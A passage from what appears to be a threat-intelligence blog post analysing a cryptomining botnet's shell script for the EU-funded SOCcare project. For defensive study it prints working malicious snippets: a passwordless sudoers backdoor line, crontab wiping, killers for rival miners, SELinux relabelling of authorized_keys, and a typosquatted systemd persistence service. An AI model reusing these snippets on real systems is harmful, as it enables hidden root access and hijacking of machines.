else
    echo "%tty0   ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
fi

However, the script seems to be pretty well crafted. The next code snippets highlight the most interesting things we have discovered while inspecting the script.

Insight 1. The script kills other miners before starting

crontab -r
kill -9 `netstat -anp | grep 5.133.65.54 |  awk '{print $7}' | cut -f 1 -d '/'`
kill -9 `netstat -anp | grep 178.128.242.134 |  awk '{print $7}' | cut -f 1 -d '/'`
...
systemctl stop pwnriglhttps.service
systemctl stop pwnrig.service
systemctl disable pwnrig.service
systemctl disable pwnriglhttps.service
systemctl stop kdomp.service
systemctl stop ModeManager.service
systemctl stop cron.service
systemctl disable cron.service
systemctl stop c3pool_miner.service
systemctl disable c3pool_miner.service

Insight 2. The script is aware of SELinux

chcon -R unconfined_u:object_r:user_home_t:s0 authorized_keys
restorecon -v authorized_keys

Insight 3. Uses typos for common services for persistence (ModemManager -> ModeManager, rsyslogd -> rsyslgd)

    cat <<EOF >> /etc/systemd/system/ModeManager.service
[Unit]
Description=Mode Manager
Wants=network.target
After=syslog.target network-online.target
[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /usr/biosetm64 /usr/-bash 2>/dev/null && /usr/-bash -c  >/dev/null 2>&1 && rm -rf -- /usr/-bash 2>/dev/null'
Restart=always
KillMode=process
[Install]
WantedBy=multi-user.target
EOF

Insight 4. Sets up a service that periodically kills processes connecting to some IPs (probably other miners). This is the rsyslgd file which is a bash script (see below)

#!/bin/bash
while true
do
	pkill -f joseph
	killall joseph
	pkill -f osama
	killall osama
	pkill -f xm64
	killall xm64
	killall daemon
	pkill -f obama1
	killall obama1
	pkill -f kswapd0
	killall kswapd0
	pkill -f jehgms
	killall jehgms
	pkill -f tsm
	killall tsm
	pkill -f rig
	killall rig
	pkill -f xmr
	killall xmr
	...
	kill -9 `ps -ef | grep ps | grep -iv grep | grep -iv ef | awk '{print $2}'`
	kill -9 `ps -ef | grep -w "./cron"  | grep -iv grep | awk '{print $2}'`
	kill -9 `ss -p | grep 179.43.154.189 | awk '{print $7}' | cut -f 2 -d ',' | sed -e 's/=/ /g' | awk '{print $2}'`
	kill -9 `ss -p | grep 51.75.68.83 | awk '{print $7}' | cut -f 2 -d ',' | sed -e 's/=/ /g' | awk '{print $2}'`
	kill -9 `ss -p | grep 121.158.190.84 | awk '{print $7}' | cut -f 2 -d ',' | sed -e 's/=/ /g' | awk '{print $2}'`
	...
done

Masscan​

While the first botnet starts miners, this one appears to scan the targets. The relevant VirusTotal files are the following:

• https://www.virustotal.com/gui/file/2ef26484ec9e70f9ba9273a9a7333af195fb35d410baf19055eacbfa157ef251
• https://www.virustotal.com/gui/file/9aa8a11a52b21035ef7badb3f709fa9aa7e757788ad6100b4086f1c6a18c8ab2

What seems to be interesting is that the attack uses opensource tools such as this one.

SOCcare​

The SOCcare project is co-funded by the European Union, alongside our collaborators, NRD Cyber Security and RevelSI, and supported by the European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or the European Cybersecurity Competence Centre. Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.

After a few months of planning and collaboration - March marked the first month when Politehnica Bucharest together with partners NRD Cyber Security and RevelSI began sharing threat intelligence datasets as part of the SOCcare project.

The project is co-funded by the European Union. The project funded under Grant Agreement No. 101145843 is supported by the European Cybersecurity Competence Centre.

Stay tuned for more blog posts.